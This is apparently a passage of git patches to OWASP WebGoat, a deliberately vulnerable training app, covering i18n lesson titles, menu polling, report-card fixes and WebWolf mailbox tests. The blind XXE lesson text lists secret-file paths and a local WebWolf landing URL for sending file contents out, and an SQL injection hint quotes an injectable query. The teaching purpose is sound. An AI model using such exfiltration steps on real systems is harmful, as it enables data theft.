a/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java @@ -130,6 +130,7 @@ public void addResourceHandlers(ResourceHandlerRegistry registry) { @Bean public PluginMessages pluginMessages(Messages messages, Language language) { PluginMessages pluginMessages = new PluginMessages(messages, language); + pluginMessages.setDefaultEncoding("UTF-8"); pluginMessages.setBasenames("i18n/WebGoatLabels"); return pluginMessages; } @@ -142,6 +143,7 @@ public Language language(LocaleResolver localeResolver) { @Bean public Messages messageSource(Language language) { Messages messages = new Messages(language); + messages.setDefaultEncoding("UTF-8"); messages.setBasename("classpath:i18n/messages"); return messages; } From 245ba2c3d1da2815ef8ef0bd76a42d453e58ebad Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Tue, 24 Apr 2018 20:44:05 +0200 Subject: [PATCH 23/76] Fix XXE lesson, the exact .webgoat directory including version number will be put in the lesson. --- .../webgoat/AsciiDoctorTemplateResolver.java | 2 ++ .../webgoat/asciidoc/WebGoatVersionMacro.java | 23 +++++++++++++++++++ .../main/resources/templates/main_new.html | 11 ++++----- .../lessonPlans/en/XXE_blind_assignment.adoc | 6 ++--- 4 files changed, 33 insertions(+), 9 deletions(-) create mode 100644 webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebGoatVersionMacro.java diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java b/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java index 7bb02b98dd..ecb80bd431 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/AsciiDoctorTemplateResolver.java @@ -35,6 +35,7 @@ import lombok.extern.slf4j.Slf4j; import org.asciidoctor.Asciidoctor; import org.asciidoctor.extension.JavaExtensionRegistry; +import org.owasp.webgoat.asciidoc.WebGoatVersionMacro; import org.owasp.webgoat.asciidoc.WebWolfMacro; import org.owasp.webgoat.i18n.Language; import org.thymeleaf.TemplateProcessingParameters; @@ -86,6 +87,7 @@ public InputStream getResourceAsStream(TemplateProcessingParameters params, Stri StringWriter writer = new StringWriter(); JavaExtensionRegistry extensionRegistry = asciidoctor.javaExtensionRegistry(); extensionRegistry.inlineMacro("webWolfLink", WebWolfMacro.class); + extensionRegistry.inlineMacro("webGoatVersion", WebGoatVersionMacro.class); asciidoctor.convert(new InputStreamReader(is), writer, createAttributes()); return new ByteArrayInputStream(writer.getBuffer().toString().getBytes(UTF_8)); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebGoatVersionMacro.java b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebGoatVersionMacro.java new file mode 100644 index 0000000000..f33d06063f --- /dev/null +++ b/webgoat-container/src/main/java/org/owasp/webgoat/asciidoc/WebGoatVersionMacro.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.asciidoc; + +import org.asciidoctor.ast.AbstractBlock; +import org.asciidoctor.extension.InlineMacroProcessor; +import org.springframework.core.env.Environment; +import org.springframework.util.StringUtils; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.context.request.ServletRequestAttributes; + +import javax.servlet.http.HttpServletRequest; +import java.util.Map; + +public class WebGoatVersionMacro extends InlineMacroProcessor { + + public WebGoatVersionMacro(String macroName, Map config) { + super(macroName, config); + } + + @Override + protected String process(AbstractBlock parent, String target, Map attributes) { + return EnvironmentExposure.getEnv().getProperty("webgoat.build.version"); + } +} diff --git a/webgoat-container/src/main/resources/templates/main_new.html b/webgoat-container/src/main/resources/templates/main_new.html index 07f8143c83..dfcfd7f5e9 100644 --- a/webgoat-container/src/main/resources/templates/main_new.html +++ b/webgoat-container/src/main/resources/templates/main_new.html @@ -76,14 +76,13 @@

- - -
diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc index e7adfae9bc..2faeff57ba 100644 --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc +++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc @@ -9,13 +9,13 @@ DTD. |OS |Location |Linux -|`/home/USER/.webgoat/XXE/secret.txt` +|`/home/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt` |Windows -|`c:/Users/USER/.webgoat/XXE/secret.txt` +|`c:/Users/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt` |Docker -|`/home/webgoat/.webgoat/XXE/secret.txt` +|`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt` |=== Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]` From 76daac0db550f1e7f4749ee2e38ac3dce4800143 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Fri, 27 Apr 2018 11:29:52 +0200 Subject: [PATCH 24/76] Label was missing for HTTP basic lesson --- .../http-basics/src/main/resources/i18n/WebGoatLabels.properties | 1 + 1 file changed, 1 insertion(+) diff --git a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties index 71209ebca5..a99bf8ab6d 100644 --- a/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/http-basics/src/main/resources/i18n/WebGoatLabels.properties @@ -8,6 +8,7 @@ http-basics.hints.http_basic_quiz.1=Turn on Show Parameters or other features http-basics.hints.http_basic_quiz.2=Try to intercept the request with OWASP ZAP +http-basics.empty=Try again, name cannot be empty. http-basics.reversed=The server has reversed your name: {0} http-basics.close=Try again: but this time enter a value before hitting go. From e422da4c64a2449ff99e240206385a0227f94490 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Fri, 27 Apr 2018 18:33:31 +0200 Subject: [PATCH 25/76] Polling for lesson updates (updates the menu and page navigation) --- .../service/LessonProgressService.java | 20 +++---- .../static/js/goatApp/model/MenuCollection.js | 54 ++++++++++--------- .../js/goatApp/view/LessonContentView.js | 7 ++- 3 files changed, 46 insertions(+), 35 deletions(-) diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java b/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java index c9fbf8820c..76e6187a5a 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/service/LessonProgressService.java @@ -40,17 +40,19 @@ public class LessonProgressService { @RequestMapping(value = "/service/lessonprogress.mvc", produces = "application/json") @ResponseBody public Map getLessonInfo() { - UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); - LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson()); Map json = Maps.newHashMap(); - String successMessage = ""; - boolean lessonCompleted = false; - if (lessonTracker != null) { - lessonCompleted = lessonTracker.isLessonSolved(); - successMessage = "LessonCompleted"; //@todo we still use this?? + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); + if (webSession.getCurrentLesson() != null) { + LessonTracker lessonTracker = userTracker.getLessonTracker(webSession.getCurrentLesson()); + String successMessage = ""; + boolean lessonCompleted = false; + if (lessonTracker != null) { + lessonCompleted = lessonTracker.isLessonSolved(); + successMessage = "LessonCompleted"; //@todo we still use this?? + } + json.put("lessonCompleted", lessonCompleted); + json.put("successMessage", successMessage); } - json.put("lessonCompleted", lessonCompleted); - json.put("successMessage", successMessage); return json; } diff --git a/webgoat-container/src/main/resources/static/js/goatApp/model/MenuCollection.js b/webgoat-container/src/main/resources/static/js/goatApp/model/MenuCollection.js index 709c557f71..c4c01c70a0 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/model/MenuCollection.js +++ b/webgoat-container/src/main/resources/static/js/goatApp/model/MenuCollection.js @@ -1,29 +1,33 @@ define(['jquery', - 'underscore', - 'backbone', - 'goatApp/model/MenuModel'], - function($,_,Backbone,MenuModel) { + 'underscore', + 'backbone', + 'goatApp/model/MenuModel'], + function ($, _, Backbone, MenuModel) { - return Backbone.Collection.extend({ - model: MenuModel, - url:'service/lessonmenu.mvc', - initialize: function () { - var self = this; - this.fetch(); - }, + return Backbone.Collection.extend({ + model: MenuModel, + url: 'service/lessonmenu.mvc', - onDataLoaded: function() { - this.trigger('menuData:loaded'); - }, + initialize: function () { + var self = this; + this.fetch(); + setInterval(function () { + this.fetch() + }.bind(this), 5000); + }, - fetch: function() { - var self=this; - Backbone.Collection.prototype.fetch.apply(this,arguments).then( - function(data) { - this.models = data; - self.onDataLoaded(); - } - ); - } - }); -}); \ No newline at end of file + onDataLoaded: function () { + this.trigger('menuData:loaded'); + }, + + fetch: function () { + var self = this; + Backbone.Collection.prototype.fetch.apply(this, arguments).then( + function (data) { + this.models = data; + self.onDataLoaded(); + } + ); + } + }); + }); \ No newline at end of file diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js b/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js index 65f45a63e3..d246b8110b 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js +++ b/webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js @@ -25,6 +25,9 @@ define(['jquery', self.navToPage(page); } }); + setInterval(function () { + this.updatePagination(); + }.bind(this), 5000); }, findPage: function(assignment) { @@ -60,7 +63,9 @@ define(['jquery', }, updatePagination: function() { - this.paginationControlView.updateCollection(); + if ( this.paginationControlView != undefined ) { + this.paginationControlView.updateCollection(); + } }, getCurrentPage: function () { From e4ca0c4836ce8f3c0c13f93bfd9cfc4881763d95 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Fri, 27 Apr 2018 19:26:01 +0200 Subject: [PATCH 26/76] Make report working again --- .../org/owasp/webgoat/service/ReportCardService.java | 4 +++- .../src/main/resources/templates/main_new.html | 10 ++++++---- .../owasp/webgoat/service/ReportCardServiceTest.java | 5 ++++- .../org/owasp/webgoat/plugin/ClientSideFiltering.java | 2 +- .../src/main/resources/i18n/WebGoatLabels.properties | 1 + .../org/owasp/webgoat/plugin/CrossSiteScripting.java | 2 +- .../src/main/resources/i18n/WebGoatLabels.properties | 1 + .../webgoat/plugin/advanced/SqlInjectionAdvanced.java | 2 +- .../webgoat/plugin/introduction/SqlInjection.java | 2 +- .../plugin/mitigation/SqlInjectionMitigations.java | 2 +- .../src/main/resources/i18n/WebGoatLabels.properties | 6 ++++++ .../src/main/java/org/owasp/webgoat/plugin/XXE.java | 2 +- .../src/main/resources/i18n/WebGoatLabels.properties | 1 + 13 files changed, 28 insertions(+), 12 deletions(-) diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java b/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java index a014e11fb6..0337467b1d 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java @@ -32,6 +32,7 @@ import lombok.AllArgsConstructor; import lombok.Getter; import lombok.Setter; +import org.owasp.webgoat.i18n.PluginMessages; import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.session.Course; import org.owasp.webgoat.session.WebSession; @@ -57,6 +58,7 @@ public class ReportCardService { private final WebSession webSession; private final UserTrackerRepository userTrackerRepository; private final Course course; + private final PluginMessages pluginMessages; /** * Endpoint which generates the report card for the current use to show the stats on the solved lessons @@ -74,7 +76,7 @@ public ReportCard reportCard() { for (AbstractLesson lesson : lessons) { LessonTracker lessonTracker = userTracker.getLessonTracker(lesson); LessonStatistics lessonStatistics = new LessonStatistics(); - lessonStatistics.setName(lesson.getTitle()); + lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle())); lessonStatistics.setNumberOfAttempts(lessonTracker.getNumberOfAttempts()); lessonStatistics.setSolved(lessonTracker.isLessonSolved()); reportCard.lessonStatistics.add(lessonStatistics); diff --git a/webgoat-container/src/main/resources/templates/main_new.html b/webgoat-container/src/main/resources/templates/main_new.html index dfcfd7f5e9..eadb722c33 100644 --- a/webgoat-container/src/main/resources/templates/main_new.html +++ b/webgoat-container/src/main/resources/templates/main_new.html @@ -89,10 +89,12 @@ - + + + diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java index 9086741bab..e3c03ad17f 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java @@ -6,6 +6,7 @@ import org.junit.runner.RunWith; import org.mockito.Mock; import org.mockito.runners.MockitoJUnitRunner; +import org.owasp.webgoat.i18n.PluginMessages; import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.session.Course; import org.owasp.webgoat.session.WebSession; @@ -40,10 +41,12 @@ public class ReportCardServiceTest { private UserTrackerRepository userTrackerRepository; @Mock private WebSession websession; + @Mock + private PluginMessages pluginMessages; @Before public void setup() { - this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course)).build(); + this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course, pluginMessages)).build(); } @Test diff --git a/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFiltering.java b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFiltering.java index 98a7c4172c..84596b1ba5 100644 --- a/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFiltering.java +++ b/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/plugin/ClientSideFiltering.java @@ -56,7 +56,7 @@ public Integer getDefaultRanking() { @Override public String getTitle() { - return "Client side filtering"; + return "client.side.filtering.title"; } @Override diff --git a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties index a5a163cade..e9a0443253 100644 --- a/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/client-side-filtering/src/main/resources/i18n/WebGoatLabels.properties @@ -1,3 +1,4 @@ +client.side.filtering.title=Client side filtering ClientSideFilteringSelectUser=Select user: ClientSideFilteringUserID=User ID ClientSideFilteringFirstName=First Name diff --git a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScripting.java b/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScripting.java index 609fb49cda..c1453a112c 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScripting.java +++ b/webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/plugin/CrossSiteScripting.java @@ -60,7 +60,7 @@ public Integer getDefaultRanking() { @Override public String getTitle() { - return "Cross Site Scripting"; + return "xss.title"; } @Override diff --git a/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties index 9d34902871..3f6a96ee21 100644 --- a/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/cross-site-scripting/src/main/resources/i18n/WebGoatLabels.properties @@ -1,4 +1,5 @@ # XSS success, failure messages and hints +xss.title=Cross Site Scripting xss-reflected-5a-success=well done, but alerts aren't very impressive are they? Please continue. xss-reflected-5a-failure=Try again. We do want to see this specific javascript (in case you are trying to do something more fancy) xss-reflected-5b-success=Correct ... because
  • The script was not triggered by the URL/QueryString
  • Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.
diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/advanced/SqlInjectionAdvanced.java b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/advanced/SqlInjectionAdvanced.java index 3df685705a..5313ac86b6 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/advanced/SqlInjectionAdvanced.java +++ b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/advanced/SqlInjectionAdvanced.java @@ -53,7 +53,7 @@ public Integer getDefaultRanking() { @Override public String getTitle() { - return "SQL Injection (advanced)"; + return "sql.advanced.title"; } @Override diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/introduction/SqlInjection.java b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/introduction/SqlInjection.java index d5df3c88a5..63d7b00412 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/introduction/SqlInjection.java +++ b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/introduction/SqlInjection.java @@ -60,7 +60,7 @@ public Integer getDefaultRanking() { @Override public String getTitle() { - return "SQL Injection"; + return "sql.injection.title"; } @Override diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionMitigations.java b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionMitigations.java index 463c4dfdcd..2546bfb7fa 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionMitigations.java +++ b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionMitigations.java @@ -53,7 +53,7 @@ public Integer getDefaultRanking() { @Override public String getTitle() { - return "SQL Injection (mitigations)"; + return "sql.mitigation.title"; } @Override diff --git a/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels.properties index 8f4c694310..409f69b6f8 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels.properties @@ -1,6 +1,12 @@ #StringSqlInjection.java StringSqlInjectionSecondStage=Now that you have successfully performed an SQL injection, try the same type of attack on a parameterized query. Restart the lesson if you wish to return to the injectable query. EnterLastName=Enter your last name: + +sql.injection.title=SQL Injection +sql.mitigation.title=SQL Injection (mitigation) +sql.advanced.title=SQL Injection (advanced) + + NoResultsMatched=No results matched. Try Again. SqlStringInjectionHint1=The application is taking your input and inserting it at the end of a pre-formed SQL command. SqlStringInjectionHint2=This is the code for the query being built and issued by WebGoat:

"SELECT * FROM user_data WHERE last_name = "accountName" diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/XXE.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/XXE.java index 43ebad5ac0..b35433e306 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/XXE.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/XXE.java @@ -58,7 +58,7 @@ public Integer getDefaultRanking() { @Override public String getTitle() { - return "XXE"; + return "xxe.title"; } @Override diff --git a/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties index 877a3774c6..5ef01ab9db 100644 --- a/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/xxe/src/main/resources/i18n/WebGoatLabels.properties @@ -22,6 +22,7 @@ # projects. #

# +xxe.title=XXE xxe.simple.output=Welcome {0} you can now login to our website xxe.content.type.feedback.json=You are posting JSON which does not work with a XXE xxe.content.type.feedback.xml=You are posting XML but there is no XXE attack performed From 8b8a89a8ab838c487d54cd5b718d04dbedf985c2 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sat, 28 Apr 2018 16:01:57 +0200 Subject: [PATCH 27/76] Add extra informational message when a failure occurs while sending an email from WebGoat to WebWolf. --- .../service/ReportCardServiceTest.java | 1 + .../owasp/webgoat/plugin/MailAssignment.java | 7 +- .../resources/i18n/WebGoatLabels.properties | 2 +- webwolf/pom.xml | 4 + .../java/org/owasp/webwolf/mailbox/Email.java | 9 +- .../webwolf/mailbox/MailboxController.java | 13 +-- .../mailbox/MailboxControllerTest.java | 98 +++++++++++++++++++ 7 files changed, 121 insertions(+), 13 deletions(-) create mode 100644 webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxControllerTest.java diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java index e3c03ad17f..f35c4131da 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java @@ -47,6 +47,7 @@ public class ReportCardServiceTest { @Before public void setup() { this.mockMvc = standaloneSetup(new ReportCardService(websession, userTrackerRepository, course, pluginMessages)).build(); + when(pluginMessages.getMessage(anyString())).thenReturn("Test"); } @Test diff --git a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/MailAssignment.java b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/MailAssignment.java index 54e17a9c2a..c10321e74f 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/MailAssignment.java +++ b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/MailAssignment.java @@ -8,6 +8,7 @@ import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.client.RestClientException; import org.springframework.web.client.RestTemplate; import java.time.LocalDateTime; @@ -39,7 +40,11 @@ public AttackResult sendEmail(@RequestParam String email) { .contents("This is a test message from WebWolf, your unique code is: " + StringUtils.reverse(username)) .sender("webgoat@owasp.org") .build(); - restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + try { + restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + } catch (RestClientException e ) { + return informationMessage().feedback("webwolf.email_failed").output(e.getMessage()).build(); + } return informationMessage().feedback("webwolf.email_send").feedbackArgs(email).build(); } else { return informationMessage().feedback("webwolf.email_mismatch").feedbackArgs(username).build(); diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/webwolf-introduction/src/main/resources/i18n/WebGoatLabels.properties index 20947800b1..0981f2a08b 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/i18n/WebGoatLabels.properties @@ -2,7 +2,7 @@ webwolf.title=WebWolf webwolf.email_send=An email has been send to {0} please check your inbox. webwolf.code_incorrect=That is not the correct code: {0}, please try again. - +webwolf.email_failed=There was an error while sending the e-mail. Is WebWolf running? webwolf.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username. diff --git a/webwolf/pom.xml b/webwolf/pom.xml index 37126b0ba4..2b606b9520 100644 --- a/webwolf/pom.xml +++ b/webwolf/pom.xml @@ -85,6 +85,10 @@ spring-boot-starter-test test + + org.springframework.security + spring-security-test + diff --git a/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java b/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java index d721bc5d54..c97e0ba4ee 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java +++ b/webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java @@ -1,5 +1,8 @@ package org.owasp.webwolf.mailbox; +import com.fasterxml.jackson.annotation.JsonIgnore; +import lombok.AllArgsConstructor; +import lombok.Builder; import lombok.Data; import lombok.NoArgsConstructor; @@ -13,6 +16,8 @@ * @since 8/20/17. */ @Data +@Builder +@AllArgsConstructor @Entity @NoArgsConstructor public class Email implements Serializable { @@ -20,7 +25,7 @@ public class Email implements Serializable { @Id @GeneratedValue(strategy = GenerationType.IDENTITY) private Long id; - private LocalDateTime time; + private LocalDateTime time = LocalDateTime.now(); @Column(length = 1024) private String contents; private String sender; @@ -28,7 +33,7 @@ public class Email implements Serializable { private String recipient; public String getSummary() { - return "-" + this.contents.substring(0, 50); + return "-" + this.contents.substring(0, Math.min(50, contents.length())); } public LocalDateTime getTimestamp() { diff --git a/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java b/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java index 52ec559594..b4f149db2b 100644 --- a/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java +++ b/webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java @@ -7,6 +7,7 @@ import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.core.userdetails.User; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; @@ -25,12 +26,11 @@ @Slf4j public class MailboxController { - private final UserRepository userRepository; private final MailboxRepository mailboxRepository; @GetMapping(value = "/WebWolf/mail") public ModelAndView mail() { - WebGoatUser user = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); + User user = (User) SecurityContextHolder.getContext().getAuthentication().getPrincipal(); ModelAndView modelAndView = new ModelAndView(); List emails = mailboxRepository.findByRecipientOrderByTimeDesc(user.getUsername()); if (emails != null && !emails.isEmpty()) { @@ -44,13 +44,8 @@ public ModelAndView mail() { @PostMapping(value = "/mail") public Callable> sendEmail(@RequestBody Email email) { return () -> { - if (userRepository.findByUsername(email.getRecipient()) != null) { - mailboxRepository.save(email); - return ResponseEntity.status(HttpStatus.CREATED).build(); - } else { - log.trace("Mail received for unknown user: {}", email.getRecipient()); - return ResponseEntity.notFound().build(); - } + mailboxRepository.save(email); + return ResponseEntity.status(HttpStatus.CREATED).build(); }; } diff --git a/webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxControllerTest.java b/webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxControllerTest.java new file mode 100644 index 0000000000..3c554a68db --- /dev/null +++ b/webwolf/src/test/java/org/owasp/webwolf/mailbox/MailboxControllerTest.java @@ -0,0 +1,98 @@ +package org.owasp.webwolf.mailbox; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.Lists; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mockito; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; + +import static org.hamcrest.CoreMatchers.containsString; +import static org.hamcrest.CoreMatchers.not; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +@RunWith(SpringRunner.class) +@WebMvcTest(MailboxController.class) +public class MailboxControllerTest { + + @Autowired + private MockMvc mvc; + @MockBean + private MailboxRepository mailbox; + @Autowired + private ObjectMapper objectMapper; + + @JsonIgnoreProperties("time") + public static class EmailMixIn { + } + + @Before + public void setup() { + objectMapper.addMixIn(Email.class, EmailMixIn.class); + } + + @Test + @WithMockUser + public void sendingMailShouldStoreIt() throws Exception { + Email email = Email.builder() + .contents("This is a test mail") + .recipient("test1234@webgoat.org") + .sender("hacker@webgoat.org") + .title("Click this mail") + .time(LocalDateTime.now()) + .build(); + this.mvc.perform(post("/mail").contentType(MediaType.APPLICATION_JSON).content(objectMapper.writeValueAsBytes(email))) + .andExpect(status().isOk()); + } + + @Test + @WithMockUser(username = "test1234") + public void userShouldBeAbleToReadOwnEmail() throws Exception { + Email email = Email.builder() + .contents("This is a test mail") + .recipient("test1234@webgoat.org") + .sender("hacker@webgoat.org") + .title("Click this mail") + .time(LocalDateTime.now()) + .build(); + Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email)); + + this.mvc.perform(get("/WebWolf/mail")) + .andExpect(status().isOk()) + .andExpect(view().name("mailbox")) + .andExpect(content().string(containsString("Click this mail"))) + .andExpect(content().string(containsString(DateTimeFormatter.ofPattern("h:mm a").format(email.getTimestamp())))); + } + + @Test + @WithMockUser(username = "test1233") + public void differentUserShouldNotBeAbleToReadOwnEmail() throws Exception { + Email email = Email.builder() + .contents("This is a test mail") + .recipient("test1234@webgoat.org") + .sender("hacker@webgoat.org") + .title("Click this mail") + .time(LocalDateTime.now()) + .build(); + Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email)); + + this.mvc.perform(get("/WebWolf/mail")) + .andExpect(status().isOk()) + .andExpect(view().name("mailbox")) + .andExpect(content().string(not(containsString("Click this mail")))); + } + +} \ No newline at end of file From 32927c8109155654fa546afeb9b35182a8c7bbd5 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sat, 28 Apr 2018 16:02:09 +0200 Subject: [PATCH 28/76] Bumped Spring Boot version --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git 